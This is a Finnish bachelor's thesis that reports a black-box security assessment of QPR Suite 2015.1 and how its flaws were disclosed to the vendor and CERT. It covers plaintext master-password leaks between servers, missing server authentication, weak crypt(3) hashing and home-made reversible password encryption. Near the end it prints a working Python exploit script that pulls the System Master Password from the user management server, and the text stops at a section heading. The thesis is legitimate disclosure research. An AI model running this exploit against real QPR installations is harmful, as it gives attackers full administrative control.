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As a final year project, a security assessment was done for QPR Software’s Suite 
2015.1 software package. QPR Suite is a widely deployed software package for pro-
cess and metrics management, used in Finland by the government, educational es-
tablishments and large corporations. 
 
The goal of this final year project was to find security vulnerabilities in QPR Suite by 
using black box testing methodologies to identify issues, and then report the findings 
to QPR Software in the spirit of responsible disclosure. 
 
The security assessment was carried out in a virtualized environment, using six vir-
tual machines and evaluation versions of QPR Software’s Suite 2015.1.0 and 
2015.1.1 versions. 
 
During the security assessment multiple security vulnerabilities were identified and 
reported to QPR Software. Due to QPR Software not always being co-operative a 
few were also reported to CERT/CC, which is an organization that specializes in se-
curity incident co-ordination and reporting.  
 
The publication of this thesis has been delayed to the end of 2015 to allow QPR 
Software to patch the reported security vulnerabilities and thus the thesis contains 
full disclosure versions of the identified security vulnerabilities. Security vulnerabili-
ties were identified in all tested areas, and it is highly recommended that QPR Soft-
ware immediately orders a full security assessment by a reputable security vendor, 
and fixes any further issues that are identified. 
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Insinöörityönä tehtiin tietoturva-analyysi QPR Softwaren QPR Suite -ohjelmistopake-
tista. Ohjelmistopaketti on Suomessa laajalti valtion, kuntien ja isojen yritysten käy-
tössä. Tämän tietoturva-analyysin tarkoitus oli käyttää musta laatikko -testausmeto-
dologiaa tietoturvavirheiden löytämiseen QPR Suite 2015.1 -ohjelmistopaketista ja 
raportoida nämä löydökset yritykselle vastuullisen raportoinnin periaatteiden mukai-
sesti. 
 
Tietoturva-analyysia varten rakennettiin virtualisoitu ympäristö käyttäen kuutta virtu-
aalikonetta ja testaus suoritettiin ohjelmistopaketin 2015.1.0-, ja 2015.1.1-evaluointi 
versioilla. 
 
Analyysissä löytyi useita kriittisiä tietoturvavirheitä muun muassa palvelimien väli-
sestä kommunikaatiosta sekä käytetyistä kryptografisista algoritmeista jotka identifi-
oitiin ja raportoitiin yritykselle sekä muutamassa tapauksessa yrityksen yhteistyöha-
luttomuuden vuoksi CERT:lle, joka on organisaatio, jonka tehtäviin kuuluu tietotur-
vauhkien raportointi ja korjausten koordinaatio ohjelmistosta vastuussa olevan yrityk-
sen kanssa. 
 
Opinnäytetyön julkaisua on viivästytetty vuoden 2015 lopulle, jotta QPR Softwarella 
olisi aikaa julkaista päivityksiä raportoituihin tietoturvavirheisiin. Viivästyksen vuoksi 
opinnäytetyö sisältää täydet virhekuvaukset raportoiduista tietoturvavirheistä. Tieto-
turvaongelmia löytyi kaikista testatuista alueista, ja olisi suositeltavaa, että yritys teet-
tää pikimmiten täyden tietoturva-analysiin riippumattoman kolmannen osapuolen toi-
mesta ja korjaa havaitut ongelmat. 
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Abbreviations 
CPU Central Processing Unit 
DB Database 
DES Data Encryption Standard 
GPU Graphics Processing Unit 
LDAP Lightweight Directory Access Protocol 
PGD ProcessGuide Development Client 
PGS ProcessGuide Application Server 
SCD Scorecard Development Client 
SCS Scorecard Application Server 
SMP System Master Password 
SQL Structured Query Language 
UMC User Management Client 
UMS User Management Server 
VM Virtual Machine 
WAS Web Application Server 
WSS Web Services Server 
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1 Introduction 
This final year project is a security assessment of QPR Software’s Suite 2015.1, a soft-
ware product that is in wide use at large companies, government agencies and educa-
tional institutions around the world, and especially in Finland. 
A security assessment differs from a penetration test mainly in that while penetration 
tests are considered to be an inch wide and mile deep, a security assessment is the 
opposite of this – an inch deep and a mile wide [1]. In practice, this means that in a 
penetration test, it is important to find something that can be used to exploit the system 
fully, while in a security assessment, the importance is in covering as much of the attack 
surface as possible, and identifying possible risks that could lead to exploitation. 
The scope of this security assessment will be the use of cryptography throughout the 
QPR Suite, and the network communications of its client and server components. Any 
security vulnerabilities found are to be reported to QPR Software by the guidelines of 
responsible disclosure, with the final polished full disclosure versions of the security vul-
nerabilities included in this thesis. 
To facilitate the testing, black-box testing methodologies will be used. Each QPR Suite 
component will be running on its own virtual machine and treated as a black box, and 
the data moving between the virtual machines is observed using Wireshark.  
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2 Background 
2.1 About QPR Software 
QPR Software is a medium sized Finnish software company based in Helsinki – with a 
satellite office in Oulu, and employing around 80 people in total. The company describes 
itself thusly: 
 Focuses on providing organizations with software and professional ser-
vices for operational development. QPR Software’s products offer custom-
ers insight into their business operations through modeling, analysis and 
performance monitoring. This insight enables customers to streamline and 
improve business operations and to execute strategies swiftly and effec-
tively. [2.] 
QPR Software creates its own products and is the only vendor domestically, while us-
ing an extensive reseller network to sell its products abroad. Their customers are me-
dium to large companies, as well as government bureaus and educational institutions. 
The customers include Aalto University, Helsinki Metropolia University of Applied Sci-
ences, Laguna Verde Nuclear Power Plant and Banco Espirito Santo. [3;4.] 
2.2 About QPR Software Suite 
QPR Software’s main offering is the QPR Suite, which contains multiple software prod-
ucts. ProcessDesigner / EnterpriseArhcitect is used for business process and enter-
prise architecture modeling. QPR Software describes the key functionalities as [5;6.]:  
 Tailor the enterprise architecture method to your needs. 
 Use a common repository with governance model. 
 Manage all enterprise architecture layers and dimensions in one visually pow-
erful tool. 
 User friendly publishing and collaboration platform. 
 Analyze assets, relationships and dependencies. 
4 
  
 Perform effective gap analysis. 
 Simultaneous multiple language support for over 20 languages. 
Metrics Designer is used for performance management and scorecard modeling. QPR 
Software describes the key functionalities of the Metrics Designer as [7.]: 
 Typical Performance Management reports automatically available (strategy 
maps, dashboards, hierarchical and list views for analysis). 
 Online Performance Management: collaboration, alerts, target setting, action 
planning. 
 Easy to use and maintain. 
 Integrates with all your database-based systems. 
 Automated or manual data entry. 
 Powerful calculation engine. 
 Available in over 20 languages. 
In addition, the following supporting software components are included in the QPR Suite: 
[8.] 
 Collaboration Portal, for designer client users to publish their models to the end 
users. 
 User Management Server and client, to manage the user accounts and user 
rights on the QPR system. 
2.3 Responsible Disclosure 
The idea behind a modern responsible disclosure is to directly inform the affected soft-
ware companies about flaws in their products, and giving them time to resolve the situa-
tion before publicly releasing information about the discovered security vulnerabilities. 
This allows the companies to assess the reported vulnerabilities and create fixes for them 
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with the level of haste their assessment has concluded is necessary. A critical security 
vulnerability should be corrected with all possible haste, while a low level, hard to exploit 
vulnerability could be allowed to go public before it is corrected to an upcoming sched-
uled version. [9;10.] 
This approach is middle-ground compared to the bug-secrecy and full disclosure ap-
proaches. In the former approach, the security vulnerability is never made public, and 
this led to companies not bothering to fix the security vulnerabilities that security re-
searchers and crackers had reported to them. Full disclosure rose as a protest against 
this software business apathy, and consists of immediate and full release of all details of 
the security vulnerability. This gives attackers time to exploit security vulnerabilities be-
fore software companies can release security patches, but it does light a fire under them 
to act quickly. [9;10.] 
Google succinctly explains the pros of both approaches: [9.] 
The argument for responsible disclosure goes briefly thus: by giving the 
vendor the chance to patch the vulnerability before details are public, end 
users of the affected software are not put at undue risk, and are safer. Con-
versely, the argument for full disclosure proceeds: because a given bug 
may be under active exploitation, full disclosure enables immediate pre-
ventative action, and pressures vendors for fast fixes. Speedy fixes, in turn 
make users safer by reducing the number of vulnerabilities available to the 
attackers at any given time. 
Note that there’s no particular consensus on which disclosure policy is 
safer for users. 
Google also suggests a 60 day embargo on vulnerability details of critical issues: [9.] 
Accordingly, we believe that responsible disclosure is a two-way street. 
Vendors, as well as researchers, must act responsibly. Serious bugs 
should be fixed within a reasonable timescale. Whilst every bug is unique, 
we would suggest that 60 days is a reasonable upper bound for a genuinely 
critical issue in widely deployed software. 
2.4 Responsible Disclosure in Practice 
I contacted QPR Software in February of 2015, informing them that I would be doing a 
security assessment of their QPR Suite as my thesis, and would like to report my findings 
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directly to them in the spirit of responsible disclosure. In response, they asked for a meet-
ing at their office in Helsinki. During this meeting I was suitably impressed by how pro-
fessionally the Head of Products and Technology of QPR Software was handling the 
meeting – there were no complaints or threats about the thesis subject, and he agreed 
that QPR had no authority over the thesis and could not force any parts of it to be cen-
sored. I suggested that if QPR Software provided me with activation keys with full product 
rights, valid until the end of 2015, I would be able to assess the security better, since not 
all functionality was included in the 14 day evaluation license that I was currently using 
for my testing. QPR Software agreed to this, and in response I agreed to delay the pub-
lishing of my findings until the end of 2015, so that QPR Software would have time to fix 
all the security vulnerabilities that I would uncover during my testing. All in all, the meeting 
went well and left me with a good feeling about QPR Software’s professionalism. 
In late March, I sent an email to QPR Software’s customer support, requesting the acti-
vation keys that we had discussed during the meeting. What I got back was that the Head 
of Channel Business had blocked my request, and was demanding that a contract be 
written up and signed between me and QPR Software, regarding the thesis, before the 
activation keys could be released to me. A couple of days later I received the contract 
that had been drafted by QPR Software, and it did not look good at all. The contract 
stipulated that QPR Software would have final authority to decide what parts of my thesis 
could be made public, and also when the thesis could be released, with no upper bound 
for the release. According to the contract, they would have had the means to never allow 
me to publish the thesis. The contract also narrowed the scope of products that I could 
target in my testing and included no stipulations on QPR Software itself. Quite frankly 
the “contract” was just a one sided list of demands on me. I declined the contract. 
The response from the CEO of QPR Software was that co-operation regarding the thesis 
would not be possible. At this point I had already reported a few security vulnerabilities 
to QPR Software, but because of the CEO’s statement I could not directly send any 
further findings to QPR Software. Ethically, I still needed to make QPR Software aware 
of my findings somehow, so that they could protect their end customers. As a solution, I 
started forwarding my findings to CERT/CC. CERT/CC has the following vulnerability 
disclosure policy [11]: 
Vulnerabilities reported to the CERT/CC will be disclosed to the public 45 
days after the initial report, regardless of the existence or availability of 
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patches or workarounds from affected vendors. Extenuating circum-
stances, such as active exploitation, threats of especially serious (or trivial) 
nature, or situations that require changes to an established standard may 
result in earlier or later disclosure. Disclosures made by the CERT/CC will 
include credit to the report unless otherwise requested by the reported. We 
will appraise any affected vendors of our publication plans and negotiate 
alternative publication schedules with the affected vendors when required. 
After sending a few security vulnerability reports to CERT/CC, the Head of Channel Busi-
ness at QPR Software gave me permission to again report my findings directly to QPR 
Software. 
QPR Software never sent me the requested activation keys, nor in anyway acknowl-
edged any of the security vulnerability reports that I sent them. Regardless, I have kept 
my end of the bargain by delaying the publication of this thesis to December of 2015. In 
retrospect, this security assessment would have gone a lot smoother had I used 
CERT/CC as the go-between from the beginning and never been in direct contact with 
QPR Software myself. 
2.5 Testing Methodology 
In software testing, there are two basic classes of testing, white box testing and black 
box testing. These two are defined as [12;13;14.]: 
 Black box testing (also called functional testing) is testing that ignores the internal 
mechanism of a system or component and focuses solely on the outputs gener-
ated in response to selected inputs and execution conditions. 
 White box testing (also called structural testing and glass box testing) is testing 
that takes into account the internal mechanism of a system or component. 
For this thesis, black box testing methodology will be used. There is no access to the 
QPR Software’s source code or internal workings. The QPR Suite components will 
be treated as black boxes, which are fed inputs, and the outputs are then observed 
via various means. Everything in this thesis is easily reproducible by anyone else 
willing to do the same steps. 
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3 Building the Environment 
3.1 Virtual Machines 
QPR Suite and its supporting software (web server, database server) can all be installed 
on a single computer, all on separate computers, and anything in between. For security 
assessment purposes, it is important that the communications between the servers can 
be freely and effectively observed, and thus the following topology will be used [15.]: 
 
Figure 1: Detailing the VM topology used during the security assessment. 
In total, six virtual machines (VM’s) will be used. Each of the QPR servers will be located 
on its own VM, while the QPR development clients and the user management client will 
be located on a single VM. The database server will also have its own VM. 
The VM’s hosting servers will be using Windows 2008 R2 Operating Systems (OS), while 
the VM hosting the clients will be using a Windows 7 OS. 
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All the VM’s will be hosted on a Hyper-V hypervisor, which is running on an Intel Core-
i7 860, with 16 GB of RAM, and stored on a 1 TB SSD. 
3.2 Software 
In addition to the QPR Suite components, the following additional software will be in-
stalled on the VM’s: The database VM will run Microsoft’s SQL Server 2014 Express 
(MSSQL 2014 Express), and will also have DBBlobEditor installed. The Web Application 
Server VM will run Microsoft’s Internet Information Services 7.5 (IIS 7.5). All VM’s will 
have Wireshark installed on them. [16;17;18.] 
3.3 Software and QPR Suite Configuration 
The database server will have two databases created on it, qpr2015 and data. The first 
one will host the QPR database using the following credentials: qprdb:SecretpwdODBC. 
The second database will contain date-value pairs, so that a Scorecard Integration Task 
can connect to it, and import the data to the QPR database. The credentials for the data 
database are integuser:SecretpwdINTEG. 
An ODBC connection to the database server is required on all QPR server VM’s except 
the Web Application Server. The credentials used by the ODBC connection are the 
qpr2015 database credentials (qprdb:SecretpwdODBC). [19.] 
QPR Configuration Manager on each VM hosting a QPR server will have the following 
settings modified from defaults, as shown in figure 2: [15.] 
 Server locations are changed from localhost to point to the VM’s by hostname 
 Encrypted communications mode enabled on all QPR servers 
 System Master Password set to: SecretpwdSMP 
10 
  
 
Figure 2: QPR Configuration Manager and the configured server connection settings. 
The System Master Password (SMP) allows logging in to the User Management 
Server as an administrator, without the need for a user account. It is also used as the 
authentication key between the QPR Servers. If a QPR server attempts to connect 
with a different SMP than the one defined on the listening QPR server, the connection 
will not be established. [15;20.] 
By default the QPR database contains the following user account with administrative 
privileges to the QPR system: qpr:demo. In addition to this account, the following 
user account will be created: user:userpwd. [21.] 
In addition to managing the users internally in QPR, QPR Suite also supports LDAP 
and NT authentication. In these configurations the user passwords are not stored in 
the QPR database. For the purposes of this security assessment, QPR authentica-
tion will be used. [22;23;24;25.] Table 1 provides an overview of all the user accounts 
and passwords used on the testing environment. 
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 Table 1: Detailing the different usernames and passwords used on the testing environment. 
Purpose Username Password 
qpr2015 database login 
(ODBC connection) 
qprdb SecretpwdODBC 
data database login (inte-
gration task) 
integuser SecretpwdINTEG 
Analyzing Integration Task 
encryption algorithm 
dbuser edcb 
System Master Password  SecretpwdSMP 
User account qpr demo 
User account user userpwd 
  
12 
  
4 Monitoring Network Traffic 
4.1 Servers 
The servers are started one at a time, and Wireshark is used to capture the network 
traffic between the servers. The QPR system has a specific order in which the servers 
are to be started: [26.] 
1. Database Server 
2. User Management Server 
3. ProcessGuide & Scorecard Servers 
4. Web Application & Web Services Server 
Figure 3 details the authentication relationships graphically, showing the initiating and 
authenticating server for each connection. WAS and WS never establish a connection to 
the database, and instead request data from the appropriate Application Server. This 
also hinders SQL injection attacks, as the Portal users cannot directly interact with the 
database. 
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Figure 3: The authentication relationships shown graphically. 
When the UMS starts, it uses the defined ODBC connection to connect to the Database 
server. Next the ProcessGuide and Scorecard Application servers start up and authen-
ticate themselves both to the UMS, by sending their configured System Master Pass-
words to the UMS, and to the Database server by using their own ODBC connections. If 
the System Master Password matches the one configured on the UMS, the connection 
to UMS is established. Finally the WAS server starts up and authenticates itself to the 
PGS, SCS and UMS servers using its configured System Master Password. If the pass-
word matches, the connection is established and the system will be fully operational once 
each server has loaded their own data. UMS, SCS and PGS load their data directly from 
the database, while WAS loads its data from UMS, SCS and PGS. [15;26.] 
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4.1.1 User Management Server 
The User Management Server (UMS) connects to the database, and performs SQL que-
ries on the database. The queries and the results are transferred in plaintext over the 
network, and all details about the users and groups can be seen. Figure 4 shows the 
following user attributes being sent in plaintext between the UMS and SQL servers: 
username, password hash, email address, phone number, description, user rights, and 
used licenses on the QPR System. 
 
Figure 4: Wireshark capture of UMS connecting to the SQL database. 
 
4.1.2 ProcessGuide Application Server 
The ProcessGuide Application Server (PGS) connection to the database goes through 
the ODBC authentication, and performs SQL queries on the database. Again the con-
versation is going through in plaintext and PGS can be observed loading the PG models 
from the database. 
More worryingly, figure 5 shows that during the connection to the UMS, the System Mas-
ter Password (SecretpwdSMP) can be seen in plaintext in the Wireshark capture.  
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Figure 5: Wireshark capture of PGS connecting to the UMS. 
The servers have been configured for encrypted communications, and the encrypted 
stream can be seen to start after the servers have authenticated each other by sending 
the System Master Password to each other in plaintext. During normal usage, the PGS 
keeps re-authenticating to the UMS as users save their work, causing the System Master 
Password to be retransferred in plaintext over the network. 
4.1.3 Scorecard Application Server 
The Scorecard Application Server (SCS) connection to the database goes through the 
ODBC authentication, and performs SQL queries on the database. Again the conversa-
tion is going through in plaintext and in figure 6 the SCS can be observed loading the SC 
models from the database. 
 
Figure 6: Wireshark capture showing SCS connecting to the SQL database. 
During the connection to the UMS, the System Master Password can be seen in plaintext 
in the Wireshark capture. The System Master Password is also retransmitted during nor-
mal usage, whenever the UMS is queried. 
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4.1.4 Web Application Server 
During the connection to the PGS, nothing incriminating can be seen in the Wireshark 
capture, because the whole conversation is encrypted. 
The connection between Web Application Server (WAS) and SCS on the other hand is 
happening in plaintext, even when encrypted communications has been explicitly ena-
bled from the QPR Configuration Manager. WAS can be observed loading the SC mod-
els in plaintext from the SCS. 
While WAS is connecting to the UMS, the System Master Password can again be seen 
in plaintext, before the encrypted RSA stream begins. Users browsing the Portal also 
trigger user rights checks to the UMS, and these queries all start with server authentica-
tion, causing the System Master Password to be retransmitted in plaintext over the net-
work each time. 
Further investigation shows that the SCS does not care what the System Master Pass-
word that WAS is sending it is, the SCS accepts the connection regardless. This allows 
an “evil” WAS to connect to the SCS and load the model data from there. 
Further investigation with a parallel “evil” QPR installation shows that the SCS does not 
care about user passwords either, just the username. This allows users on the “evil” 
installation with the same user name but different password as the real users to access 
and make modifications to the models stored on the SCS. These changes are then im-
mediately propagated to the database. 
4.2 Clients 
For the clients, Wireshark will be used to observe the connection between the client and 
the server, from the moment the client is started up, up to the point that the login dialog 
is presented, but not submitted. 
17 
  
4.2.1 ProcessGuide Development Client 
When the ProcessGuide Development Client (PGD) connects to the ProcessGuide Ap-
plication Server (PGS), the connection is using encrypted communications, and nothing 
incriminating can be observed, as shown in figure 7. 
 
Figure 7: PGD using encryption when talking with the PGS. 
4.2.2 Scorecard Development Client 
When the Scorecard Development Client (SCD) connects to the Scorecard Application 
Server (SCS), but before any user credentials are supplied, SCS can be seen to leak 
information about the models that it is hosting, as shown in figure 8: 
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Figure 8: SCD receiving information about the models in the SCS, before authentication. 
Again, there is no sign of the encrypted RSA stream when communicating with the SCS, 
even when that option has been explicitly turned on. This causes the SCD to transmit 
the username and password to SCS in plaintext. 
4.2.3 User Management Client 
When the User Management Client (UMC) connects to the User Management Server 
(UMS), and before any user credentials are supplied, figure 9 shows that the following 
can be observed: 
 
Figure 9: UMS sending the SMP to UMC in plaintext, before authentication has been done. 
For some very strange reason, the UMS is sending the System Master Password to the 
client, in plaintext. This would be equivalent to walking to an ATM, and the ATM giving 
the user a backdoor administrator password before requiring the user to enter a card and 
PIN. 
What makes this bug incredibly dangerous is that it can be remotely exploited without 
the need to use any tools apart from the normal UMC of the same major version as the 
targeted UMS. Attacks over the Internet are simple to do and leave no trace apart from 
a normal connection attempt. 
By looking at the packets sent between the UMC and UMS in the Wireshark capture file, 
the packets sent by the UMC that lead up to the point where UMS sends the System 
Master Password can be identified, and a Python script that emulates the UMC up to this 
point can be constructed. This script is included as Listing 1 in section 6.3.
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5 Cryptanalysis 
5.1 User Password Hashes 
The user passwords are stored in a hashed format in the QPRUM_USER table, as 
shown in figure 10 [27]. 
 
Figure 10: QPRUM_USER table from the qpr2015 database. 
The default password for the user “qpr” is “demo”, which is shown in figure 10 to corre-
spond to the hash value: “fKWxTfj75qi7c”. This has format can be identified by using a 
hash analyzer [29.]. 
Figure 11 displays the hash analyzer result: DES (UNIX), also known as crypt(3).This 
hash format was originally introduced to Version 7 of Unix in 1979. [28.] 
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Figure 11: Hash Analyzer results for the QPR Suite user password hash. 
 
To verify this, the password “demo” and the salt “fK” can be entered to an online hashing 
tool, which provides the following results in figure 12, confirming the hypothesis: [30.] 
 
Figure 12: Confirms that the hash format used by QPR Suite for storing user passwords is 
crypt(3). 
QPR seems to be using the same salt for all users making the user passwords vulnerable 
to being cracked in parallel, instead of sequentially as a salt is supposed to do when 
properly used. CrackStation’s Salted Password Hashing guide has the following to say 
about using static salts: [31.] 
Salt Reuse 
A common mistake is to use the same salt in each hash. Either the salt is 
hard-coded into the program, or is generated randomly once. This is inef-
fective because if two users have the same password, they'll still have the 
same hash. An attacker can still use a reverse lookup table attack to run a 
dictionary attack on every hash at the same time. They just have to apply 
the salt to each password guess before they hash it. If the salt is hard-
coded into a popular product, lookup tables and rainbow tables can be built 
for that salt, to make it easier to crack hashes generated by the product. 
A new random salt must be generated each time a user creates an account 
or changes their password. 
21 
  
The crypt(3) hash format is not very secure, as can be interpreted from this snippet from: 
“A Research UNIX Reader: Annotated Excerpts from the Programmer’s Manual, 1971-
1986”. [32, 14.] 
A new crypt went public in v7. It also succumbed to an attack by Reeds 
and Weinberger—and fortunately, too: more than one person who locked 
data in crypt and threw away the key has been rescued by code breakers.  
The DES based crypt(3) function has a limit of eight characters for the password, any 
characters after this are ignored. The password is combined with a salt and then hashed. 
The results are displayed as a base64 encoded string. [28.] 
Because the crypt(3) algorithm is so old, it is very fast to compute on modern CPU’s and 
GPU’s, making it possible to brute force alphanumeric passwords of up to four characters 
in length on a modern CPU, and all the way up to eight characters with a GPU assisted 
brute forcing program, like oclHashcat. [33.] 
 A Python script that brute forces alphanumeric passwords of up to four characters in 
length has been created for demonstration purposes and included as listing 2 in section 
6.4. 
In addition to using plain dumb brute force, there are large password dictionary files 
available for download, which have been generated from real passwords that originate 
from security breaches like the recent Ashley Madison and LinkedIn cases, which led to 
user password leaks. [34;35.] 
One such list is CrackStation’s Password Cracking Dictionary. This freely available list 
contains the passwords from almost all public leaks of websites, every word from Wik-
ipedia as of 2010, and the words from all the books in Project Gutenberg. With this 15GB 
dictionary file, most passwords generated by humans can be identified in a relatively 
short time. [36.] 
5.2 Analyzing Integration Task Cryptography 
DBBlobEditor is a software tool that can read and edit database blob files. Blob files can 
be used to store for example pictures and text in the database. In this case the integration 
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task details, including the password, are stored in a blob container in the SC_INTEGRA-
TION table. [17;37.] 
Figure 13 shows that the blob contains the SQL query in plaintext, but the username 
(integuser) and the password (SecretpwdINTEG) for the remote database have been 
encrypted. 
 
Figure 13: DBBlobEditor showing the contents of an integration task blob in the database. 
 
By observing the encryption result of different passwords, a pattern begins to emerge: 
a .S 
b .r 
c .b 
d -C 
aa .Q i 
ab .Q e 
ac .Q a 
ad .Q X 
aaaa .Q f w GJ 
bbbb .t f x Hk 
cccc .d b w HZ 
dddd -A w w GJ 
eeee -Q z X G3 
abcd .Q f w GJ 
Each character in the password is encrypted to either a single character or two charac-
ters. Each additional character in the password changes the outcome of some of the 
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encryption results. Because the encryption result is governed by the length of the pass-
word, and not the contents of the password, this encryption algorithm is vulnerable to a 
simple look-up table, which can be found in section 6.6. 
 
 
5.3 Database Connection Password 
The QPR_Servers.ini is a text file that contains the configuration settings for QPR Serv-
ers. It also contains all the passwords that the QPR servers need to function, in encrypted 
format. The following are the QPR database related lines form the .ini file: [38.] 
[QPR Database] 
DBAlias=qpr2015 
DBLogin=qprdb 
DBPassword=%AB%85%83%8A%95%8A%8C%87h%AFt%9C%5B 
ReconnectInterval=60 
ReconnectRetryTimes=-1 
MassOperationRecordCount=20 
MassOperationMaxBlobSize=10000 
TransactionQueueWarningTime=120 
TransactionQueueMaxTime=600 
TransactionQueueMaxTransactions=100 
DBConnectionKeepAlive=0 
The database password is easily identified, but encrypted. 
5.4 System Master Password 
The System Master Password is also stored in the .ini file: [38.] 
Password=%AB%85%83%8A%95%8A%8C%87h%9Bm%AA 
And uses the same encryption format as the database password. 
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5.5 Analyzing QPR_Servers.ini Cryptography 
The database and System Master Passwords are using the same encryption method 
(the QPR system needs to be able to use them, so they cannot be hashed and must 
instead be encrypted). 
Table 2: Various plaintext passwords and the encryption results. 
Plaintext Encrypted 
aaaaaaaaaa %7D%89%81y%91%9D%9D%9De%8D 
bbbbbbbbbb z%8C%84z%94%9C%9A%9Ab%8C 
cccccccccc %7B%8B%83%7B%93%9B%9B%9Bc%8B 
dddddddddd %86%86t%96%9A%98%98h%8A 
abcdabcdab %7D%8C%83t%91%9C%9B%98e%8C 
Table 2 shows that the characters are processed character by character, and the other 
characters in the password do not affect the encryption outcome. The password “dcba” 
would then be “%86 %8B %84 y”. 
Further investigation with full ASCII printable character set shows that the encryption is 
quite simple and predictable. For each character in the password, characters are treated 
as a value between 0 and 255, and certain +/- operations are done to it while moving 
down the list of ASCII characters. If the result is outside of printable ASCII characters, 
the result is instead shown as a hex code preceded by a “%” sign. Table 3 shows the 
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plaintext, encryption result and the operations done, for numbers from zero to six as the 
first character of the password. 
Table 3:  Showing the encryption results of the first password character by different characters. 
Plaintext Result Operation 
0 %CC (204)  
1 %CD (205) +1 
2 %CA (202) -3 
3 %CB (203) +1 
4 %CB (200) -3 
5 %C9 (201) +1 
6 %C6 (198) -3 
After every eight characters, an additional operation of +/-8 can happen. After every 16 
characters, an additional operation +/- 16 can happen, and so on up to the additional 
operation of +/-128. Each password character has different additional operations applied 
to it, for example the first column has +1, -3, and +/-32 operations, while the second 
column has -1, +3, +/-8, and +/-32 operations. For the +/- operations, every second op-
eration is a plus and the other a minus operation. 
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Extrapolating from this information, a Python script that can decrypt this encryption for-
mat can be constructed, and is included in appendix 1. 
This encryption algorithm is against the most basic rule of cryptography: you don’t roll 
your own crypto [39.]. The only cryptography that should be used in production software 
is publicly available implementations that have withstood years of intense scrutiny by 
professional cryptographers. Schneier’s Law states why this is so important: [40.] 
Anyone, from the most clueless amateur to the best cryptographer, can create an 
algorithm that he himself can’t break. It’s not even hard. What is hard is creating 
an algorithm that no one else can break, even after years of analysis. And the only 
way to prove that is to subject the algorithm to years of analysis by the best cryp-
tographers around.  
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6 Vulnerability Reports 
6.1 Evil WAS Attack on QPR SCS 
This vulnerability report describes how to exploit two flaws in Scorecard Application 
Server (SCS) to connect unauthorized servers to an existing QPR system, and to then 
view and edit the data on the models hosted by the SCS. 
 
Reported to QPR Software on: 24.2.2015, Request ID: #QPR213932 
Reported to CERT on: 14.7.2015, Tracking ID: VRF#IC3TG6PY 
Fixed planned by QPR Software to: Upcoming Major release, Suite 2016.1 
 
6.1.1 SCS Does Not Properly Authenticate WAS / WS Connections 
 
For background information, the hierarchy of QPR servers is: 
UMS 
SCS & PGS 
WAS & WS 
 
The lower level servers authenticate themselves to the upper level server via the System 
Master Password. If the password that the lower level server, e.g. SCS sends to the UMS 
is not the same as the one stored in UMS, UMS will not establish a connection with the 
SCS. Figure 14 shows the authentication relationships graphically. 
28 
  
 
Figure 14: Detailing the authentication relationships between the servers in the QPR system. 
 
Of interest is the relationship between WAS & WS and SCS, marked in yellow in figure 
14. 
 
SCS does not currently authenticate the incoming WAS or WS connection. 
 
This allows a third party WAS to connect to any SCS that is reachable by the attacker 
and load all SCS models to the attackers WAS, as shown in figure 15. 
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Figure 15: Topology of the Evil WAS attack on a QPR system. 
6.1.2 SCS Does Not Properly Authenticate Users From WAS / WS 
 
When the attacker logins to his/her own QPR Portal with a user from his/her own UMS, 
the models are loaded, but the attacker does not have access to view or edit the models 
because the target SCS will perform user password and rights lookups to its own UMS, 
not to the attackers UMS. 
 
There is a flaw in this check. SCS only seems to care about the username of the user, 
not the password. This means that the attacker can create a user with the same 
username as a real user in the SCS’s UMS, without having to know that users password, 
and SCS will then allow the attacker to view and modify the model. The same is true for 
Web Services Server (WS), which allows the attacker more options in editing the SCS 
models in the targeted environment. 
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6.2 System Master Password Sent in Plaintext Between QPR Servers 
This vulnerability report describes how to exploit a flaw in the way that QPR servers 
authenticate each other, and to then connect unauthorized servers to an existing QPR 
system, or authenticate as an administrator two the targeted QPR system. 
 
Reported to CERT on: 6.7.2015, Tracking ID: VU#744816 
Moved to FICORA by CERT, Tracking ID: FICORA#858443 
Fix planned by QPR Software to: Upcoming Major release, Suite 2016.1 
QPR servers authenticate each other by tier. Lower tier servers send a System Master 
Password to the upper tier server when establishing a connection, and if the password 
is correct, the upper tier server will reply back with the requested data. 
The tiers are: 
1. User Management Server (UMS) 
2. Scorecard Server (SCS), ProcessGuide Server (PGS) 
3. Web Application Server (WAS) 
When a user does something on the Scorecard side of QPR Web Portal, the WAS sends 
the System Master Password in plaintext, along with the user request to the SCS, which 
then either ignores the request if the password was incorrect, or returns the requested 
data if it was correct. This is true even if the encrypted communications options are en-
abled from the QPR Configuration Manager. 
Figure 16 shows the default System Master Password (demo) being sent in plaintext 
between UMS and SCS, even when the “Use encrypted communication” option has been 
enabled between the servers. 
31 
  
 
Figure 16: System Master Password being sent in plaintext even when the servers are set to use 
encrypted communications. 
Only after the System Master Passwords are communicated in plaintext, does the en-
crypted stream begin. 
6.2.1 Adding Rogue Servers to the QPR Environment 
The System Master Password is sent in plaintext between the servers. 
With this password, an attacker can connect his/her own rogue servers to the target QPR 
system, and modify / delete / add data to the target system. 
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6.2.2 Authenticating as an Administrator to the UMS 
The QPR system uses an administrator definable System Master Password that can be 
used to login to the User Management Server without a user name, for example in situ-
ations where the password for an administrator account has been forgotten. 
This password is the same as the password used to authenticate the connections be-
tween the servers. 
Thus capturing the plaintext password from the connection between the servers will allow 
the attacker to authenticate as an administrator, without the need for a user account, to 
the User Management Server. 
This will give the attacker full control over reading, creating and modifying users, which 
leads to full system compromise. 
6.3 Emulating the QPR UMC to Get the System Master Password 
This vulnerability report describes how to exploit a flaw in UMS to get the System Master 
Password for the targeted QPR System. 
 
Reported to QPR Software on: 31.8.2015 
Fix planned by QPR Software to: Upcoming Major release, Suite 2016.1 
When the User Management Client (UMC) connects to the User Management Server 
(UMS), the UMS sends the System Master Password to the UMC. This is an automatic 
and immediate full system compromise that only requires that the attacker has IP con-
nectivity to the UMS. 
Listing 1 is a Python script that emulates the steps that an UMC does when connecting 
to a 2015.1 UMS, and then prints out the System Master Password. 
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import socket 
import time 
 
host = "127.0.0.1" 
port = 4241 
 
p1 = '\x0a\x00\x00\x00\x6a\x00\x38\x00\x63\x00\x52\x00 
      \x73\x00\x39\x00\x39\x00\x35\x00\x46\x00\x6f\x00' 
p2 = '\x14\x00\x00\x00\x98\x21\x00\x00' 
p3 = '\x40\x00\x00\x00\x01\x00\x00\x00' 
p4 = '\xff\xff\xff\xff' 
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.settimeout(10) 
 
s.connect((host, port)) 
 
s.sendall(p1) 
s.sendall(p2) 
s.sendall(p3) 
s.sendall(p4) 
s.sendall(p4) 
 
time.sleep(1) 
 
print(s.recv(256)) 
 
s.close() 
Listing 1. A Python script to emulate the handshake between UMC and UMS. 
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6.4 Cracking User Password Hashes 
